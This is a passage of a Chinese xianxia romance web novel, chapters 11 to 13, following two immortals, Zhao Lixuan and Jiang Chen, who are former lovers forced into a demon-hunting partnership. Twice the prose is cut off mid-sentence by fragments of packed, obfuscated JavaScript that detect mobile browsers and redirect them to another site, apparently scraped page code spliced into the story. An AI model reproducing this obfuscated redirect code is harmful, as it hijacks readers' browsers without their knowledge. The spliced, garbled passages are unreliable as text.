这形态,这色泽,怎么越看越像人间界野地里迎风招展的金针菜? 不可能吧? 金针菜赵离玄可太认识了。 毕竟当年姜沉喜欢吃,所以他毫不犹豫就一掷千金,在洛州买下整整一座小山坡,就因那座山坡每年野生的金针菜长得特别茂盛。 只不过,金针菜需在花苞未绽、最鲜嫩时着摘才可口,一旦开花便老了。所以他总是在花还是嫩苞时就急着采摘,而从未留心这玩意儿完全开后会是什么样子。 原来,就是这个样子? 所以…… “橘生淮南则为橘,生淮北则为枳,”他握着花苞,不可置信地喃喃,“难以想象忘忧草生在人间,竟就是个寻常山间野菜?” “难以,想象?” 姜沉则眼尾狭长斜睨了他一眼,微抿薄唇,眼里全是嘲讽。 赵离玄全当没看见,毕竟他可没打算在最爱的花谷跟人吵架。偏偏下一瞬,又一段尘封的回忆…… 那年山坡金针菜长得实在太好,多得吃不完。又逢连绵数日的阴雨,无法上山采收。 待得天终于放晴,他兴致勃勃地拉着姜沉前去,却竟发现已有大半在雨中悄然绽放,漫山遍野的黄花。 “都长老了,不能吃了啊。” 他望着花海,略有遗憾,随即却又抱着身旁沉默少年的胳膊,笑得没心没肺:“不过小姜你瞧,原来这菜长老了以后开出花来,还挺好看的。” “……” 晚风渐起,吹动素白衣袂。 几点流萤不知从何处升起,在渐深的暮色中明明灭灭。赵离玄恍恍惚惚,眼前闪过蝴蝶、丝瓜花、夏夜,许多重叠的、模糊的、亦真亦梦的过去。 他一直以为,自己清楚记得二十年前的每一分细节。 却原来,不是真的。 至少,他就忘了曾见过忘忧花。 也许,还有很多其他事,也早被时光冲刷…… 风越来越凉。 一种难以言喻的惆怅与酸楚悄然涨满。没有哪一刻,比此时更清晰地让黎玄仙君意识到,那些属于人间洛州懵懂又炽热的岁月,真的已经恍如上辈子的事情了。 …… 那晚后半,他们就一起沉默坐在花海里。 看夜色浩渺,看星子浮现,看月华如水银泻地,看幻光琉璃蝶舞动,谁也没有再说什么。 回去路上,一丝淡淡的酒香随着夜风,幽幽飘入赵离玄的鼻尖。 他侧目,却发现姜沉不知从哪拿出一个精致的玉壶,正仰头无声饮着。 两人相识之初,只有赵离玄又菜又爱喝。 总兴致勃勃地拉着姜沉尝遍美酒,姜沉也才渐渐喜欢上。 只是那时,赵离玄并不知姜沉其实是蝴蝶仙,更不知蝴蝶有嗜甜嗜酒的天性。 一度还觉得小姜对什么都兴趣缺缺,却会钟情洛州名酒“蝴蝶醉”,甚是有趣。 小姜既喜欢,他就天天给他买。 可惜很快医者便下了严令,饮酒对寒症不利,不许再喝。 于是赵离玄只能又日日管着姜沉,只偶尔佳节,才稍稍许他沾唇半杯。如此,等他们分开时,姜沉已是不再饮酒的了,怎么…… “你是什么时候又开始喝酒的?” 不过随口一问。姜沉执壶的手却微微一顿,指节收紧了些,半晌,低沉的声音才随着晚风传来: “就这,几年。” “今天喝的是什么?似乎和上次不同?” 赵离玄轻轻嗅了嗅空气里那缕清冽又带着一丝绵柔甜意的酒香:“闻起来,倒像是北方的月华凝露。” 也不知这话又触动了姜沉哪片逆鳞。 那双黑瞳骤然晦暗,带着一丝山雨欲来的隐忍,继而又移开目光,再度默默自嘲。 赵离玄想起上次结契仪式时他也是这般,突然就像被踩中尾巴的猫,一脸恼怒又受伤的凶样。 ……随口问一句,没话找话而已。 怎么,这也问不得? 11. 第 11 章 赵离玄那日回去,翻来覆去睡不着。 应该不是他的错觉……总觉得自打重逢,姜沉的态度就奇怪得很。 成天阴测测的看人不说,说话也刻薄得很,不知到底想干什么。 但若只是心有旧怨、记恨当初,远着点就是了,又何必这样。 总不能…… 不,绝不可能。 姜沉对他连旧情都没有,又哪来的复燃?何况还过去二十年,一辈子自作多情一次就够了,可千万别又给自己招笑。 别瞎想了,睡觉。 …… 隔天,浮熙宫钟鸣三响,召集“猎魔战力统筹大会”。 此前战略部署会是定下全局方针,此番会议则是着眼于战术细节,旨在根据魔族特性精准调配人手,以期在月狩中以最小代价取得最大战果。 可惜会议当日,天公不作美,竟淅淅沥沥下起了灵雨。 不染仙境雨雪并非凡间之物,而是蕴含着一丝稀薄的混沌灵气,虽不伤仙体,却能干扰仙元运转,使得大规模仙法施展事倍功半。 面对这类雨雪,众仙当然也可以张开避雨仙障,但维持仙障毕竟消耗元神,故而大多时候,仙家们宁愿节省些力气,打个伞了事。 只是今日之会事关重大。 浮熙宫仙首夏云阶广袖一挥,一道晶莹剔透的避雨仙障应声展开,如倒扣的琉璃碗般笼罩整个广场。 雨丝落在流转的符文仙障上,漾开圈圈涟漪,折射出七彩流光,将肃穆的会场点缀得如梦似幻。 仙魔相克,自古皆然。 魔族亦分人魔与妖魔——前者多由入魔的人族或人仙转化,后者则是堕落的妖、精、怪修炼而成。 其中,妖魔往往克制人仙,而人魔常常克制妖仙。同时人仙对战人魔颇有优势,而妖仙对战妖魔亦显从容。 此中机理极为复杂玄妙。且若仙魔实力悬殊,属性生克尚不明显;但若修为相当,被克一方往往左支右绌,克制一方却能事半功倍。 可真到临阵对敌时,往往又难以预判魔族究竟属人属妖。 故而最优解自然是:一位人仙与一位妖仙结为搭档,组成最基本的猎魔单元。遇人魔则人仙主攻、妖仙辅助;逢妖魔则妖仙头阵、人仙策应。 如此相辅相成,互补短长,则无论如何都能从容应对。 当然了。 这也并不是说,随便一位人仙搭配随便一位妖仙,就能组出最佳战力。 还需考量彼此属性是否相合。仙家灵根千差万别,土、风、水、火、雷、光、暗层出不穷,更有混合灵根与各种奇奇怪怪的杂灵根。 譬如楚浮生身旁的书记官碧桃仙子,便是罕见的混沌灵根。 按理说混沌灵根一向百搭,这几日碧桃仙子也一直努力积极向黎玄仙君自荐。她性子活泼,常主动寻赵离玄谈笑,两人相处甚欢。 可惜,待二人展开结界演练时,却是另一番光景—— 赵离玄的清正仙元与碧桃的混沌灵气甫一接触,便如油入水面,虽不相斥却也难相融。结界光华明灭不定,始终无法稳固。 碧桃仙子无奈,只能含泪另寻搭档。 总之整场大会,便是依此理而行。 很快就见广场之上结界光华流转,众仙皆在切磋磨合、寻觅契缘。 便是一贯独来独往的姜沉,也在鹿紫苑等人的死亡逼视下,不得不冷着脸随手拎了几个战战兢兢、面露难色的浮熙宫人仙,敷衍地开启结界演练。 结果自然十分惨烈。 毕竟其他仙君之间的“不适配”,最多是“配合尚可,然未臻化境”。 而姜沉这边的“不适配”,却是任谁与他搭档,都是他一个人的绝对战场,同行者非但无法形成助力,反而个个都沦为了碍手碍脚的“拖累”。 楚浮生:“……” 眼见着不远处仙首鹿紫苑额角青筋欢快地蹦跶,都快按捺不住要亲自过来清理门户了,楚浮生忙寻了个间隙,将这头不通人情的孤狼拽至一旁。 “姜仙尊,你好歹也让着人家一点啊?” 姜沉眸色冰寒:“凭,什么?” “就凭你执剑仙君是我人间界妖仙的最强战力,是月狩的定海神针!此次月狩欲竟全功,最要紧就是你得找到最为适配的搭档,方能好好稳定军心!” “我,一个人,足矣。” “啊?” “一人一剑,亦能,荡尽,群魔。” 楚浮生:“呵呵。” …… 他没再费口舌跟油盐不进的人讲道理,直接转头,精准地找到了正在场中与人切磋的黎玄仙君。 能以黄皮仙身份坐上燎原庭文职二把手的位置,楚浮生自有他的一番本事。 不过片刻功夫,全场目光便被结界中的两道身影牢牢吸引—— 但见结界之内,仙法交融如日月同辉,进退默契似心有灵犀,清正仙元与璀璨金芒相得益彰,行云流水又默契十足,引得四方仙友纷纷颔首称许。 赵离玄也没想到,他跟楚仙君竟那么契合! 毕竟整整一上午,他已不知试过几位仙友,虽也大都可堪配合,却总又似多少欠了些火候。直到此刻与楚浮生联手,方觉圆融无碍,恍若天成! 直到这时,他终于明白了之前夏云阶所言。 筹备大会时,他就曾私底下问过夏云阶,众人间界仙君大多都是第一次同妖仙配合,如何能精准选定谁才是自己最适配的那一个? 当时夏云阶跟他说,别担心。 “最契之人出现时,自然会有无比分明的‘就是他了’的感觉。” 此刻,赵离玄终于明白了那种感觉! “楚仙君,在下以为,我们……” 话音未落,一道裹挟着幽冥业火的漆黑剑罡竟撕裂长空,悍然击穿二人结界! 比想象中还要沉不住气,楚浮生眼底刚掠过一丝得逞笑意,下一刻却面色骤变—— 那剑意竟毫不收敛,摧枯拉朽便破开他仓促凝聚的金光屏障,骇人劲气更顷刻让他玉冠震落,发丝披散,手中的沉香木折扇也被余焰焚为焦炭! 他都惊了。 识海都差点当场烧穿,姜沉好歹也是他同僚! 且分明知晓他的深浅,竟然完全没收力? 太过分了!你堂堂执剑仙尊,竟对区区一个人和果品混血的柔弱文职当众行凶,这合适吗? 谋杀啊!!! 眼看局面就要失控,好在楚浮生一个急中生智,闪身便躲到赵离玄身后。 说时迟那时快,那原本凌厉霸道、几欲将人劈成两半的黑色剑气堪堪袭至黎玄仙君面,竟如冰雪遇阳、沸汤沃雪般,就这么无声无息地消散了。 楚浮生:“……” 瞧这天杀的区别对待。 倒是赵离玄怔了片刻,便从容拂袖,微笑对众人温言解释:"诸位勿惊,一场误会。姜仙尊方才是想与在下切磋,一时出手快了些,才险些误伤楚仙君。" 说着,又转向姜沉:“姜仙君,请吧。” …… 磅礴温和的仙力铸就无形壁垒,将二人笼罩其中。 浮生烬发出低沉的嗡鸣,姜沉目光冷烈,周身黑焰翻涌;对面赵离玄则衣袂无风自动,周身泛起莹莹清光。 两位顶尖仙尊的气势在结界内无声碰撞,围观众仙屏息以待。 然而,时间一点点流逝,结界内风平浪静。 二人相对而立,并无任何想象中的惊天动地、仙法往来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582008|187285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >良久,结界消散。 众:“……” 先是面面相觑,旋即,一个个又脸上恍然大悟。 也是!高手过招,岂是凡夫所能窥见?方才那片刻对峙,想必二人已在神识之境交手千百回合!这等境界,早已不是他们能够企及。 不愧是黎玄仙君与执剑仙尊! 赵离玄:“……” 虽然他也想不通姜沉为何能忍住没出手,但无论如何,此事也算是他临危不乱、力挽狂澜,圆满解决。 事后也得到夏云阶与鹿紫苑的高度赞许,说他沉稳、大局为重。 然而空有赞誉有何用? 只口头表扬,却不给半点实际好处。待到正式公布配对结果时,赵离玄看着那金光闪闪的仙谕,只觉再度眼前一黑。 众仙大多都寻到了合意的搭档——这配对讲究玄妙缘法,多数人的搭档与先前负责招待的仙君并不相同。唯有几对恰巧契合:比如夏云阶与鹿紫苑,楚浮生与郁如沐。 明明他与楚浮生才最相配! 可为什么没将楚仙君指给他呢? 呵呵,当然因为他一如既往的倒霉!没人要的姜沉果不其然又被塞给他了。 更可气的是对此安排,浮熙宫与燎原庭上下竟一致认同,纷纷献上诚挚祝福: "虽说大家都想与黎玄仙君搭档,但姜仙尊毕竟战力卓然、肩负重任,理当给他配最好的。" "放眼仙界,除了黎玄仙君,还有谁能与姜仙尊那座冰山亲密要好?" "前日还见他们一同赏花呢。" "浮熙宫这些日子送的那些衣物饰品,虽说人人有份,但难得姜仙尊一向孤傲,却肯穿戴上身,可见他待黎玄仙君自是不同。" "也对,世间怎会有人不喜黎玄仙君?姜仙君平日再孤冷,这次也得乖乖做回凡人啦。” “……” 战力统筹完毕,搭档也绑定好了,之后数日浮熙宫各处更热闹起来。 结成搭档的仙君们或在演武场上切磋招式,或结伴在静室之中调和仙元属性。毕竟,纵使有天赐的默契,也需后天的深雕细琢、磨合操练。 一时间,到处仙光流转,气息奔涌。 赵离玄自然也不能落在人后。 尽管他不情愿。 犹记当年在人间界,他虽每天像块膏药般缠着姜沉,但也整日只顾着谈情说爱、腻腻歪歪。 每次姜沉默默练剑,他就只顾托着腮在一旁痴痴欣赏,满脑子风花雪月,从未想过有朝一日要与这人并肩作战、性命相托。 “……” 更忧愁的是,二人关系尴尬至此,他本以为配合起来定会磕磕绊绊。 岂料事实恰恰相反。 姜沉的剑势凌厉霸道,如惊涛裂岸,而他的仙法则清正绵长,似春风化雨。两相配合,竟意外地契合无间。 他的温和灵力正能巧妙引导安抚姜沉过于暴烈的剑气,使其威力倍增而不失控制;姜沉的锐利又能为他的守势注入无匹的锋芒,几个回合下来,二人攻守兼备,刚柔并济。 竟比他与楚浮生配合时,更多了几分浑然天成? ……还不如不合适! 若不合适,他尚可借机向夏云阶诉苦换人。 如今这般天衣无缝,岂不是他往后两个月都要与这张冷脸朝夕相对? 再想到月狩毕竟是深入险境,有极大可能会免不了在流霭隙渊的荒芜之地过夜。届时为了节省仙力、集中防护,指不定还得挤在同一个结界或山洞里。 到时候夜深人静,呼吸可闻……若是遇到极端情况,说不定还得掌心相贴、仙元互渡。 真是想想就窒息。 什么时候是个头?! 却不想,更要命的还在后面。 12. 第 12 章 赵离玄记得姜沉以前在萧雪楼念书时,便是同窗中的勤勉第一人,常天不亮便起身中练剑。 那时他衣袖猎猎生风,墨发与衣袂交织翻飞,伴随着剑锋破空时清冽不绝的嗡鸣,至今犹在赵离玄记忆深处,清晰如昨。 可好歹,当时他严于律己,吃苦的只有他自己。 如今倒好,还学会了苛以待人! 这些时日,每日天光未亮,露重风寒,赵离玄睡眼惺忪都能瞧见某人已然抱着他那柄煞气森森的浮生烬,安安静静等在他院中的梨树下。 见他磨磨蹭蹭出来,总是多余的眼神都懒得给,薄唇只淡淡吐出一个字:“走。” 赵离玄:“……” 可问题是,他赵离玄从来不是个勤勉刻苦的仙! 他毕生的追求就是逍遥快活,向来能躺着绝不坐着。 如今却要日日天不亮就被这位活阎王胁迫,从温暖的被窝里爬出来欲哭无泪奔向演武场。不过短短数日摧残,他那养尊处优的筋骨便发出了强烈抗议,日日腰酸背痛、四肢灌铅,只感觉仙生一片灰暗。 身体上的折磨也就忍了,偏偏姜沉还附带精神打击。 这人近来衣着愈发令人费解,简直是在赵离玄脆弱的神经上精准蹦跶—— 姜仙君他,竟连前阵子那至少还能勉强符合他气质的黑底暗纹长袍都不穿了。 某日清晨,他直接穿了件暗红长袍!那浓烈的红衬得他肤色更加冷白无瑕,就连眉眼间惯有的凛冽都浸染上了一层特殊的妖异。 尽管……平心而论,好看是极好看的。 但初看还是当场吓得赵离玄肝胆俱颤,差点以为这位祖宗是不是修炼走了岔路,即将堕魔。 今晨就更变本加厉。 他一推开房门,映入眼帘的便是姜沉一袭月白长袍,静立在落英缤纷的梨树下。 “……”白色。 他又什么时候穿过白色? 偏偏初升的晨曦还透过花枝,为姜仙君周身勾勒了一层浅金色的光晕。姜沉墨发如瀑未束,仅以一根素玉簪松松挽起几缕,侧脸线条依旧利落如刀削,下颌紧绷,那双深不见底的黑瞳在如此淡雅衣着的映衬下,非但没有敛去半分锋芒,反而更显冰雕雪砌、锐利凛然! 救命,遭不住。 赵离玄内心疯狂嚎叫,还是换回那身万年不变的黑吧,这样子更遭不住啊。 救命,这日子真没法过了,他随时吐血而亡。 …… 人总是泥足深陷,才惊觉从前平淡日子何其可贵。 赵离玄如今真是无比怀念之前悠哉游哉的每一天! 品尝美食、安然高卧、在蓿花仙草甸发呆看云卷云舒、去藏书阁胡乱翻阅那些稀奇却毫无实用的古怪仙法…… 当时只道是寻常。 如今想来,何等神仙般的舒坦日子? 呵,如今好了,被姜沉这惊涛骇浪日日拍打在沙滩上,身心俱疲,充实得他想原地轮回。 就这样水深火热过了半个月,赵离玄实在受不了了。 但毕竟月狩之日渐近,又不能光明正大说想偷懒,只能绞尽脑汁,想了一堆馊主意! 最初的点子是反客为主。 赵离玄不是天天清早堵他吗?干脆看看谁比谁更早。 于是月明星稀,他便顶着一对黑眼圈跑去叩响了姜沉的院门,一脸恳切:“姜仙尊,昨夜思及猎魔重任,在下心下难安,辗转反侧。唯觉自身修为浅薄,请仙尊与我即刻出发,再加练三个时辰!” 待姜沉面无表情应下,他便刻意专挑那些最繁琐、最耗神、最考验耐心和精细操控的基础复合阵法,拉着姜沉反复演练、拆解、重组。 如此几日,姜沉起初只是沉默配合,万万没想到几日后,那双沉寂的黑眸中竟隐隐燃起一丝……兴致? 姜沉不仅没被逼退,反而越发沉浸,甚至偶尔会主动提出优化阵眼结构,差点把本就心力交瘁的赵离玄直接玩得仙元透支,当场表演一个原地去世! 此计不成反伤自身。赵离玄赶紧转换思路,又祭出公务遁。 每日,全靠郁如沐寻些合情合理、非他不可的公务,将他从姜沉的魔爪下暂时解救! 看啊,郁如沐又来了,来救他了。 还是如沐师兄疼我! 然而,“丹房急需人手”、“古籍修复需仙君坐镇”这类理由,用一两次尚可,频繁使用难免说不过去,并不能从根本上解决问题。 最后,赵离玄痛定思痛,又来一招毒计。 待姜沉再清晨抱剑而来,他已好整以暇备好茶席,面前摊开数卷厚重的魔族典籍,语气真诚: “姜仙尊来得正好。此卷《魔物谱考》中关于‘人魔本源’的论述颇为艰深晦涩,离玄苦思一夜,仍有数处不明。不如我们先论道半日,明晰敌情本质,再行演练,或可事半功倍?” 他终于抓到了姜沉唯一的弱点,不善言辞,辩不过他! 自此之后,一周总有数日,赵离玄要逼着姜沉与他一同翻阅那些字句诘屈聱牙的古籍。 古籍再晦涩,也比往死里操练要轻松得多! 且数次得逞以后,赵离玄更发现姜沉也不是全无人性——人嘛,总是会懈怠的。 随着两人“读书论道”的次数增多,偶尔姜沉吃了他特制的安神茶,也会在午后暖融的阳光和过于静谧的氛围里,沉沉小睡片刻。 窗外梨花更悄然飘落一两瓣,缀在姜仙君墨色的发间或是衣袍上。 “……” 每到此刻,赵离玄都会生出一种恍惚的感觉。 毕竟很久以前,这好像曾是他梦寐以求、甚至求而不得的瞬间…… 犹记二十年前仙妖内战打到最后,三界石动摇引发天灾,最终导致不染仙境一分为二。 裂出去的那一大半疆域被强大的妖仙占据,改立了新界,名为“妖明”。 后来,姜沉决定前往妖明界。 再后来,妖明界单方面关闭了通往不染仙境与人间界的一切通路。消息断绝,音讯全无。 可那时候的赵离玄,还是很挂念小姜。 得知通路关闭,可能永生永世都再也见不到了,难过得常常夜深人静时都会独自哭得透不过气来。 眼泪每天都毫无预兆地掉,怎么止都止不住。那时候他是真的觉得,要是能再见小姜一次该多好啊?要是再有机会能看看他的睡颜,他情愿用命去换。 ……那个时候真是年轻。 以为喜欢就是一生一世。无论时隔多久,永不会变。 结果也就二十年。 如今再次看到姜沉的睡颜,也不过是平静如常。 要是当年哭得那么伤心的小赵,能提前预知一切不过如此,该多好…… “……” 正胡思乱想着,忽然一枚白玉物件从沉睡的姜沉袖中滑出,“嗒”一声轻响,落在了铺着软垫的椅面上。 赵离玄鬼使神差地捡起。 一支通体无瑕的白玉笛子,尾部还系着一枚羊脂玉。 本以为姜沉那样冷硬疏离的性子,佩戴的玉无非会是常见的龙蛟纹,又或是寓意孤高的山水意境。 却没想到,手中这上好的羊脂白玉上,精心雕刻的赫然却是一只昂首挺胸、姿态神气活现的…… 大鹅。 真是一只大鹅。 还雕得憨态可掬,昂首挺胸,活灵活现。 “……” 赵离玄瞬间来了精神,他喜欢大鹅! 尽管许多毛茸茸、亮闪闪的灵宠他都养过,但最喜欢的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582009|187285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直都是大鹅。 大鹅太非凡了,体态优美,曲项向天歌,昂首阔步自带一股不容侵犯的雍容气度,又叫声洪亮,驱邪避凶,面对强敌也敢振翅相迎,颇有“虽千万人吾往矣”的气概…… 总之,鹅鹅们就是威武又可爱。 可他这份独特的喜好实在过于小众,常被人调侃,于是当年为了维持形象,他就没告诉姜沉。 早知姜沉也是同好,他就说了! 正想着,姜仙君似乎醒了。 确实醒了。 正在静静看着他。黑眸依旧无波无澜、深不见底,不知已经看了多久。 赵离玄:“……” 赵离玄:“…………” 他手里还拿着人家的白玉笛,有点尴尬:“这玉佩挺别致,你在哪儿寻的?” …… 行吧,姜仙君的脸色再度瞬间阴沉,赵离玄赶紧将东西统统塞回给他:“我绝非故意私拿,是它刚才自己掉出来……” 话音未落,手腕突然被猛地攥住。 姜沉力道极大,像缠上来的蛇,冰凉的触感顺着血脉直抵心口。 赵离玄瞬间头皮发麻。 自打姜仙君来了不染仙境,其实除了当时结契被迫携手,这些时日演练,两人也难免肢体接触—— 纠正姿势时扶过手臂,在秘境里也曾将后背交给对方。但双方一向都十分克制守礼,姜沉也从来未像此刻这般不顾他的死活,黑瞳那么近死死靠过来,眼底压抑的情绪几乎就要决堤。 “在哪,买?” 他声音低哑得可怕。 “我亦不知。多半是,多宝阁。又或者,藏珍轩?” 洛州多宝阁和藏珍轩,多么熟悉的名字。赵离玄此刻哪怕是傻子也反应过来了,那不都是他以前日常给姜沉买礼物的地方吗? 所以…… “这玉佩,是我当年……给你买的吗?” 他无比真挚的茫然,让姜沉扯了扯嘴角,再度露出一抹近乎自嘲的表情。 “除了你……” “除了你,谁又会,喜欢,这种蠢物。" “呃……”赵离玄再度低头看向掌心憨态可掬的玉鹅,确实好像是只有他会喜欢的样子。 可他真的不记得了,他不是一直都在姜沉面前藏着他喜欢大鹅的喜好吗? “也是。” “黎玄仙君,自然,记不得。” 姜沉眸色暗沉,怒极反笑:“毕竟,一切,对你,不过是,一时兴起。” “玩腻了自然,忘得,干净。” “……” 翌日清晨,姜沉终于再未出现在梨树下。 非但不再现身,甚至“偶感风寒”,闭门谢客,谁都不理。 赵离玄:“……” 也就郁如沐一如既往的好骗,还在那忧心忡忡:“定是前些时日急于求成,操练太过累着了。咱们该去探望才是。你说参苓驱寒汤姜仙君会爱喝吗,我炖一个吧?姜仙君似乎忌口颇多,你帮我看看?” 赵离玄:“他没病,不必理他。” “啊?” 赵离玄也想知道,什么叫“一切对你不过是一时兴起,玩腻了自然忘得干净”。 说的仿佛当年,是他始乱终弃似的。 可笑。 也不想想当年分开前后,他倒是放下尊严去求了多少次,掉着眼泪扯着姜沉的袖子,说不想分手。 狗姜沉搭理他了吗? 之后又是谁决绝搬去了妖明界再不回来?他可不信这一切姜沉都失忆了,更不觉得其中存在任何误会或不得已的可能性。 当初是姜沉亲口说的,整整两年从未喜欢过他!说过那种话的人又凭什么指责他,甚至还试图颠倒黑白? 简直匪夷所思! 13.第 13 章 二十年前,赵离玄自以为了解姜沉,最后证明全是一厢情愿的错觉。 二十年后,赵离玄还是理解不了,也干脆懒得再想。 有人实在难以相处,他爱干嘛干嘛去吧。在乎什么呢?喜欢装病就让他病着。 如此,两边再度陷入僵局。 此事最觉面上无光的,就是燎原庭仙首鹿紫苑。 “怪我御下无方,让他屡屡任性妄为。”她揉了揉眉心,“其实姜临渊平日里……虽孤冷古怪了些,却也并非不通情理,近来也不知为何……” “罢了,我再最后多劝他几次。若他还执意不肯收敛性子,” 她语气转冷,“我只能令他返回人间界闭门思过,另寻其他稳重弟子前来接手猎魔事宜。” 一旁的赵离玄听得此言:“……!” 等等,原来还有赶他回去这条路啊? 也是。 仙族绵延万载,难道离了任何人就不转了?少了姜沉这最强战力,猎魔月狩是会艰难些,但天也塌不下来。 赵离玄登时只觉得仙生有望,重现曙光。 师姐不愧是师姐!!! 说起鹿师姐当年,其实也是被他大哥赵岚泽捡回浮熙宫、悉心教养长大的。 师姐天赋卓绝,惊才绝艳,是同辈中极为耀眼的存在。 后来赵岚泽决意抽身云游天下时,也属意将宫主之位传予她。岂料临行前却遇上人间界仙妖混战爆发,赵岚泽奉命下界,将浮熙宫一切事宜尽数托付于她管理。 却在她眼皮底下,出了阿荼那桩祸事。 鹿紫苑无比懊恼自责,深恨自己没能尽早识破魔族真身,无颜面对同门。 最终执意将宫主之印交还,黯然离开了不染仙境。 然明珠蒙尘,亦难掩其光辉。 鹿紫苑这样的人去哪里都埋没不了。到了下界,还是很快又在燎原庭崭露头角,并步步高升,最终登临仙首之位执掌一方。 有这样渊源,鹿紫苑对浮熙宫的感情始终深厚。 赵离玄也毫不怀疑,在他与姜沉之间,看着他长大的师姐必是一心偏向他的! 而若不是此刻还有几位其他燎原庭的妖仙在场,他肯定也要当场恳求师姐了—— 不如今日就下令送那个祸害回去。眼不见为净,对大家都好! 可惜鹿紫苑猜不透他此刻心思,还在认真交代楚浮生,要他最后去劝姜沉一次大局为重、主动与黎玄仙君冰释前嫌,莫要因私废公。 赵离玄:“……” 呵,没事。 就姜沉那孤傲死倔、油盐不进的性子,他肯听劝才有鬼! …… 赵离玄如今只盼姜沉能继续负隅顽抗、发疯发癫,彻底惹恼鹿紫苑,早点被赶回去。 从此他待在他的不染仙境,姜沉远远地留在人间界,一如既往井水不犯河水,老死不相往来。 只可惜,老天爷最近总喜欢与他作对。 隔日,例行送了枫藤小院人人都有的待客礼品后,小仙童竟喜滋滋地带话回来:“仙君仙君!姜仙君收下礼物了,他还说,他的身子已大好,不日便可恢复如常。” 赵离玄:“……” 再隔一日,赵离玄因公务往返于炼器坊。 只因那流霭隙渊中魔气弥漫,仙界常用的通讯水镜与传讯玉符都会被侵蚀影响。所以近日炼器坊正在紧急试验炼制新的通讯法器。 昨日,他名下的赵氏商行才又寻到几种对魔气有不错抗性的材料,急需懂行仙君去一同测试印证。 却因材料太多、过程繁琐,他竟将一份关键图谱落在了梨花水榭。 赶紧折返去拿,却在路过月珠小桥时,赫然看见姜沉略微脸色苍白,正站在桥上,正垂眸望着桥下水中悠游的锦鲤。 “……” 但他不可能是在赏鱼。 因为赵离玄清楚知道,姜沉最讨厌鱼! 讨厌鱼,也讨厌吃鱼,更不会没事跑来看鱼。 犹记当年他们初相识。他觉得姜沉身边太过冷清,总会变着法儿地给他寻些活物陪伴。 先是送了一只羽毛艳丽的鹦鹉,姜沉虽不语,但也会默默添食喂水,应是喜欢的;后来又买了毛茸茸的小猫小狗,姜沉也会在无人时伸手轻轻逗弄,应该也是喜欢的。 原来小姜只是看着冷,内心还是藏着许多喜欢。 于是后院的小动物越来越多。 唯独一次,他兴冲冲买了几尾灵动的金鱼回来,姜沉却只看了一眼,便将鱼缸推到角落。 再后来,赵离玄为了验证姜沉到底是不喜欢鱼还是只不喜欢金鱼,特意又买了几尾品相极佳的锦鲤。 结果依旧,姜沉连靠近池塘都不愿。 至此,赵离玄终于得出结论:姜沉讨厌所有的鱼。 总没道理过了二十年,有人突然转性,变得爱看锦鲤吐泡泡了吧? 不妙。 不爱看却看,分明来者不善。 可怎奈眼前这座月珠桥,却是他返回梨花水榭的必经之路。当然,他也可以施展遁术直接闪回水榭,但……毕竟人已经走到这里,姜沉眼角余光也定然看到他了。 此时再法术躲避,岂不显得太过刻意? 赵离玄只能放慢脚步,抱着最后一丝微弱期待——或许,姜沉只是恰巧在此驻足。 不是在蹲我,不是在蹲我,不是在蹲我。 说不定马上他自己就识趣走了! 然而事与愿违,桥上那道玄色身影纹丝不动,像在桥头生了根。 不用猜,应该就是在蹲他无疑。 …… 人间际遇,循环难测。 这若是搁在二十年前,小姜肯等他,他不得高兴到天上去? 可如今,天上的月亮变成了饭黏子,他只想躲得远远的。 偏那双幽深的黑瞳还缓缓转过来,沉沉瞧着他。 四目相对,赵离玄也只能硬着头皮上前狭路相逢:“姜仙尊好雅兴。” 河畔微风拂过,撩动素白袖摆,却吹不散凝滞空气。 姜沉黑瞳里辨不出情绪,只一如既往抿唇不语。小桥狭窄,他身形挺拔地立在中央,将路堵得严严实实,丝毫没有让开的意思。 赵离玄:“……” 你倒是让路啊? 实在无法,他不得不再度开口:“姜仙尊,可是有事?” 有事说事!!! 没事你杵在这干什么!这狗啃的独木桥,还绕不过去。 “呵呵,姜仙君若没事,就麻烦借过,炼器坊还有份图谱等着在下去取……”他又试探性地向前靠近了些。按常理,是个人都该侧身让路了。 你侧身啊,倒是侧身啊! 如此一动不动成何体统?若不是深知此人一本正经、古板无趣,他都要以为对方是在故意使坏了。 搞什么名堂??? “……”眼见暗示明示统统无效,最终赵离玄把心一横。 直接不管不顾,瞅准两人之间那点可怜的缝隙,生生贴着姜沉那冰冷的侧身以一种极为勉强不雅观的姿态,高难度地侧身挤过。 真的是十分不雅观! 过程堪称“秦王绕柱”—— 身形挺拔、纹丝不动的姜沉就是柱,而他就那么不要脸地,一寸一寸贴着他硬挪。中途衣料不可避免地摩擦,甚至能透过薄衫隐约感受彼此的体温。 “……”成何体统,真的。 有什么毛病啊? 好容易快步回了梨花水榭,关上门,赵离玄才回过味来—— 必是鹿师姐狠狠训斥过了他,各种威胁,叫着他不得不来与自己主动和解。 可姜沉那般桀骜,怎会甘心低头?怨不得那般拧巴古怪! …… 想通了这一层,赵离玄就将此事当作一个无足轻重的小插曲,很快抛诸脑后。 谁知翌再次路过月珠桥,熟悉的身影竟又立在桥心。 也是!被逼着来和解,总得要“成功”才行。 “……” 想到这里,赵离玄反而一下来了精神。 他还真没见过姜沉低头呢! 弄得他还有点好奇,若他真的就不递出台阶,这位孤高绝世的执剑仙尊究竟要如何放下身段,主动开这个尊口? 这么一想,赵离玄精神抖擞。 “姜仙尊,这么巧?连着两日在此相遇当真有缘,对了,您以前不是不喜锦鲤吗?” “……” 